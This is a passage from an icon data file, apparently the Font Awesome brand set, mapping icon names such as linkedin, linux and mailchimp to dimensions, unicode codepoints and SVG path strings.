50.6-76.1 50.6z"],
	"leanpub": [576, 512, [], "f212", "M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"],
	"less": [640, 512, [], "f41d", "M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z"],
	"line": [448, 512, [], "f3c0", "M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z"],
	"linkedin": [448, 512, [], "f08c", "M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z"],
	"linkedin-in": [448, 512, [], "f0e1", "M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"],
	"linode": [448, 512, [], "f2b8", "M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z"],
	"linux": [448, 512, [], "f17c", "M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z"],
	"lyft": [512, 512, [], "f3c3", "M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z"],
	"magento": [448, 512, [], "f3c4", "M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z"],
	"mailchimp": [448, 512, [], "f59e", "M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z"],
	"mandalorian": [448, 512, [], "f50f", "M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 